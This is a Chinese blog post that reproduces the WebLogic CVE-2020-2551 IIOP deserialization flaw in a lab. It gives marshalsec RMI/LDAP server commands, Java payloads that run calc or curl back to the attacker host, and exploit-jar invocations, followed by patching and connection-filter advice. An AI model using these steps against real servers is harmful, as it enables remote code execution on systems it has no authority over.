Weblogic CVE-2020-2551 IIOP反序列化漏洞复现

文章目录

  • 前言
  • 0x01 漏洞说明
  • 0x02 影响版本:
  • 0x03 Weblogic环境搭建
  • 0x04 漏洞利用
  • 0x05 漏洞修复方案
    • 1.使用 Oracle 官方安全补丁进行更新修复
    • 2.如果不依赖T3协议进行JVM通信,用户可通过控制T3协议的访问来临时阻断针对该漏洞的攻击。
  • 0x06 参考链接

前言

本教程及工具仅供技术学习交流、请勿用于非法行为、否则后果自负

0x01 漏洞说明

2020年1月15日,Oracle官方发布2020年1月关键补丁更新公告CPU(CriticalPatch Update),其中CVE-2020-2551的漏洞,漏洞等级为高危,CVVS评分为9.8分,漏洞利用难度低。影响范围为10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0。

从Oracle 官方的公告中看出该漏洞存在于Weblogic核心组件,影响的协议为IIOP协议。该漏洞依然是由于调用远程对象的实现存在缺陷,导致序列化对象可以任意构造,在使用之前未经安全检查,导致恶意代码被执行。通过分析,该漏洞的PoC构造与历史漏洞CVE-2017-3241、CVE-2018-3191都有一些相似的地方,而后在构造PoC的时候也可以发现。

公布的 POC 代码只针对直连(内网)网络有效,Docker、NAT 网络全部无效。

0x02 影响版本:

  • weblogic 10.3.6
  • weblogic 12.1.3.0
  • weblogic 12.2.1.3.0
  • weblogic 12.2.1.4.0

0x03 Weblogic环境搭建

系统:windows server 2008 R2
weblogic 10.3.6.0
jdk6u29(weblogic自带的)
ip:192.168.2.122

windows weblogic安装笔记(别人的,自己懒得写了,基本都是下一步下一步) https://blog.csdn.net/java_peak_zlf/article/details/84062513

自行官网下载
JDK安装包下载

Weblogic安装包下载地址

jdk环境配置不会的自行百度

0x04 漏洞利用

系统 windows10
JDK 1.8
ip:192.168.2.241

利用的exp为:https://github.com/Y4er/CVE-2020-2551

先下好相关文件和所给的jar包

打包好的jar包 提取码:a6ob

然后使用marshalsec起一个恶意的RMI服务

这边提供编译好的marshalsec 链接:https://pan.baidu.com/s/19Z8Rg6ySNKsILOgjfNlvpQ 提取码:6eia

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.2.241/#exp" 1099

在这里插入图片描述
编辑一下src目录下的exp.java
修改为(这是windows的命令执行)

import java.io.IOException;

public class Poc {
	static{
		try {
			java.lang.Runtime.getRuntime().exec(new String[]{"cmd","/c","calc"});
		} catch (IOException e) {
			// TODO Auto-generated catch block
			e.printStackTrace();
		}
	}
	public static void main(String[] args) {
		
	}
}

如果需要linux的命令执行请修改为:

import java.io.IOException;

public class Poc {
	static{
		try {
			java.lang.Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","curl http://192.168.2.241/suss"});
		} catch (IOException e) {
			// TODO Auto-generated catch block
			e.printStackTrace();
		}
	}
	public static void main(String[] args) {
		
	}
}

然后编译

javac exp.java -source 1.6 -target 1.6

编译完可以直接用Python3在当前exp目录起一个web服务

python3 -m http.server 80

Weblogic CVE-2020-2551 IIOP反序列化漏洞复现_第1张图片
Weblogic CVE-2020-2551 IIOP反序列化漏洞复现_第2张图片
Weblogic CVE-2020-2551 IIOP反序列化漏洞复现_第3张图片

然后开始攻击

java -jar weblogic_CVE_2020_2551.jar 192.168.2.122 7001 rmi://192.168.2.241:1099/exp

Weblogic CVE-2020-2551 IIOP反序列化漏洞复现_第4张图片

或者也可以起lpad服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.2.241/#exp

然后开始攻击

java -jar weblogic_CVE_2020_2551.jar 192.168.2.122 7001 ldap://192.168.2.241:1389/exp

0x05 漏洞修复方案

1.使用 Oracle 官方安全补丁进行更新修复

Oracle Critical Patch Update Advisory – January 2020

2.如果不依赖T3协议进行JVM通信,用户可通过控制T3协议的访问来临时阻断针对该漏洞的攻击。

Weblogic Server 提供了名为weblogic.security.net.ConnectionFilterImpl 的默认连接筛选器,此连接筛选器接受所有传入连接,可通过此连接筛选器配置规则,对t3及t3s协议进行访问控制,详细操作步骤如下:

  • 进入Weblogic控制台,在base_domain的配置页面中,进入“安全”选项卡页面,点击“筛选器”,进入连接筛选器配置;
  • 在连接筛选器中输入:security.net.ConnectionFilterImpl,在连接筛选器规则中配置符合实际情况的规则;
  • 保存后若规则未生效,建议重新启动Weblogic服务(重启Weblogic服务会导致业务中断,建议相关人员评估风险后,再进行操作)。

0x06 参考链接

1.https://www.r4v3zn.com/posts/51fa2b96/
2.https://y4er.com/post/weblogic-cve-2020-2551/
3.https://www.chaosec.com/?p=942

你可能感兴趣的:(漏洞复现,安全)